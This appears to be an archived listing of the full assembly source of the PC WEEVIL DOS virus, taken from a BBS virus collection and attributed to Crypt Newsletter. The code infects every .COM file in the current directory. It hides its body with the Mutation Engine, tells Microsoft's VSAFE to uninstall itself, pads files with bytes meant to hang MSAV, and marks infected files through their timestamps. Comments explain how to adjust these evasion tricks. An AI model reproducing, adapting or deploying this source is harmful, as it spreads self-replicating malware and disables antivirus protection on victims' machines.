home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / pcweevil.asm < prev    next >
Assembly Source File  |  1993-06-29  |  8KB  |  231 lines

  1. ;PC WEEVIL virus - demonstrator of Mutation Engine tricks and
  2. ;Microsoft Antivirus dismantling technology.  PC WEEVIL is a
  3. ;direct action .COM-infecting virus which will infect all
  4. ;.COMfiles in the current directory on its initial run.
  5. ;The Mutation Engine is needed to assemble this virus
  6. ;directly from this source listing.
  7. ;PC WEEVIL contains adaptations of code published in
  8. ;Computer Virus Developments Quarterly #3, American Eagle
  9. ;Publications.
  10. ;Anti-VSAFE routine supplied by KohntarK,
  11. ;Mutation Engine supplied by:
  12. ;
  13. ; MtE Version 1.01 (26-10-91)
  14. ; (C) 1991 Dark Avenger.
  15. ;Edited by URNST KOUCH for Crypt Newsletter 16.
  16.  
  17.  
  18.         .model  tiny
  19.         .radix  16
  20.         .code
  21.  
  22.         extrn   mut_engine: near, rnd_get: near, rnd_init: near
  23.         extrn   rnd_buf: word, data_top: near
  24.  
  25.         org     100
  26.  
  27. start:                         
  28.         call    locadr
  29.  
  30. note:  db    'PC Weevil: Still the select'
  31.        db    ' choice for your virus research needs'
  32.  
  33. locadr:
  34.         pop     dx
  35.         mov     cl,4
  36.         shr     dx,cl
  37.         sub     dx,10
  38.         mov     cx,ds
  39.         add     cx,dx                   ;Calculate new CS
  40.         mov     dx,offset begin
  41.         push    cx dx
  42.         retf
  43. begin:
  44.         cld
  45.         mov     di,offset start
  46.         push    es di
  47.         push    cs
  48.         pop     ds
  49.         push    ax
  50.                                 ;go through Microsoft's VSAFE
  51.         mov  ax,0FA01h          ;wake up VSAFE at INT 16 branch point
  52.         mov  dx,5945h           ;ask VSAFE to de-install
  53.         int  16h                ;call the keyboard interrupt
  54.         
  55.         
  56.         mov     dx,offset dta_buf       ;Set DTA
  57.         mov     ah,1a
  58.         int     21
  59.         xor     ax,ax                   ;Initialize random seed
  60.         mov     [rnd_buf],ax
  61.         call    rnd_init
  62.         mov     dx,offset srchnam
  63.         mov     cl,3
  64.         mov     ah,4e
  65. find_lup:
  66.         int     21                      ;Find the next COM file
  67.         jc      infect_done             ;all files infected, exit
  68.         call    is_infected             ;see if infected
  69.         jnz     infect_start            ;start infection cycle      
  70.         jmp     find_nxt
  71. infect_start:                       
  72.                                        ;If not infected, infect now
  73.         call    infect
  74.  
  75. find_nxt:
  76.         mov     dx,offset dta_buf      ;loop around and continue 
  77.         mov     ah,4f                  ;until all files eligible are
  78.         jmp     find_lup               ;infected
  79. infect_done:
  80.         push    cs
  81.         pop     ds
  82.         push    ss
  83.         pop     es
  84.         mov     di,offset start
  85.         mov     si,offset oold_cod
  86.         movsb                           ;Restore first 3 bytes
  87.         movsw
  88.         push    ss
  89.         pop     ds
  90.         mov     dx,80                   ;Restore DTA
  91.         mov     ah,1a
  92.         int     21
  93.         pop     ax
  94.         retf
  95.  
  96.  
  97. infect:
  98.         xor     cx,cx                   ;Reset read-only attribute
  99.         mov     dx,offset dta_buf+1e
  100.         mov     ax,4301
  101.         int     21
  102.         jc      infect_done
  103.         mov     ax,3d02                 ;Open the file
  104.         int     21
  105.         jc      infect_done
  106.         xchg    ax,bx
  107.         mov     ax,WORD PTR [old_cod]
  108.         mov     WORD PTR [oold_cod],ax
  109.         mov     al,BYTE PTR [old_cod+2]
  110.         mov     BYTE PTR [oold_cod+2],al
  111.         mov     dx,offset old_cod       ;Read first 3 bytes
  112.         mov     cx,3
  113.         mov     ah,3f
  114.         int     21
  115.         jc      read_done
  116.         
  117.         xor     cx,cx                   ;reset pointer
  118.         xor     dx,dx
  119.         mov     ax,4202                 ;to the end of the file
  120.         int     21
  121.         test    dx,dx                   ;make sure file is not too big
  122.         jnz     read_done
  123.         cmp     ax,-2000
  124.         jnc     read_done
  125.         mov     bp,ax
  126.         add     bp,60              ;<--adjust pointer to accomodate bytes
  127.         sub     ax,3               ;added to virus before decryptor, 
  128.                                    ;in this case: 96
  129.         mov     word ptr [new_cod+1],ax
  130.         mov     ax,cs
  131.         add     ax,1000H
  132.         mov     es,ax
  133.         mov     dx,offset start
  134.         mov     cx,offset _DATA
  135.         push    bp bx
  136.         add     bp,dx
  137.         xor     si,si
  138.         xor     di,di
  139.         mov     bl,0f      ;standard MtE values/flags
  140.         mov     ax,101     ;standard MtE values/flags
  141.         call    mut_engine
  142.         add     cx,60     ;<---arrowed values - above and below - must 
  143.                           ;remain consistent within alterations of virus
  144.         sub     dx,60     ;<---subtract 60h (96) bytes from
  145.         mov     di,dx     ;space before decryptor
  146.         push    cx        ;to use "jmp $+2" use: "EB 00" at "00 00"
  147.         mov     cx,30     ;copy "00 00" in 30h (48) times; to hang MSAV
  148.         mov     ax,00000  ;the original Ludwig virus used "mul cx" = "E1 F7"
  149.         rep     stosw     ;but it's appropriate to use anything that
  150.         pop     cx        ;won't derange the virus. "00 00" is a better 
  151.         pop     bx ax     ;choice because many files have sequences like it
  152.         add     ax,cx     ;Make sure file length mod 256 = 0
  153.         neg     ax
  154.         xor     ah,ah
  155.         add     cx,ax
  156.         mov     ah,40                   ;Put the virus into the file
  157.         int     21
  158.         push    cs
  159.         pop     ds
  160.         jc      write_done
  161.         sub     cx,ax
  162.         jnz     write_done
  163.         xor     dx,dx                   ;Put the JMP instruction
  164.         mov     ax,4200
  165.         int     21
  166.         mov     dx,offset new_cod
  167.         mov     cx,3
  168.         mov     ah,40
  169.         int     21
  170.         jmp     write_done
  171. read_done:
  172.         mov     ah,3e                   ;Close the file
  173.         int     21
  174.         ret
  175. write_done:
  176.         mov     ax,5700H                        ;get date & time on file
  177.         int     21H
  178.         push    dx
  179.         mov     ax,cx                           ;fix it
  180.         xor     ax,dx
  181.         mov     cx,0A
  182.         xor     dx,dx
  183.         div     cx
  184.         mul     cx
  185.         add     ax,3
  186.         pop     dx
  187.         xor     ax,dx
  188.         mov     cx,ax
  189.         mov     ax,5701H                        ;and save it
  190.         int     21H
  191.         jmp     read_done
  192.  
  193. ;determine if file is infected
  194. is_infected:
  195.         mov     dx,offset dta_buf+1e
  196.         mov     ax,3d02             ;Open the file
  197.         int     21
  198.         mov     bx,ax
  199.         mov     ax,5700H            ;get file attribute
  200.         int     21H                    
  201.         mov     ax,cx
  202.         xor     ax,dx               ;date xor time mod 10 = 3 for infected file
  203.         xor     dx,dx
  204.         mov     cx,0A
  205.         div     cx
  206.         cmp     dx,3
  207.         pushf
  208.         mov     ah,3e               ;Close the file
  209.         int     21
  210.         popf
  211.         ret
  212.  
  213.  
  214. srchnam db      '*.COM',0           ;file searchmask for virus
  215.  
  216. old_cod:                                ;Buffer to read first 3 bytes
  217.         ret
  218.         dw      55AA
  219.  
  220. oold_cod:                               ;old old code
  221.         db      0,0,0
  222.  
  223. new_cod:                                ;Buffer to write first 3 bytes
  224.         jmp     $+100
  225.  
  226.         .data
  227.  
  228. dta_buf db      2bh dup(?)              ;Buffer for DTA
  229.  
  230.         end     start
  231.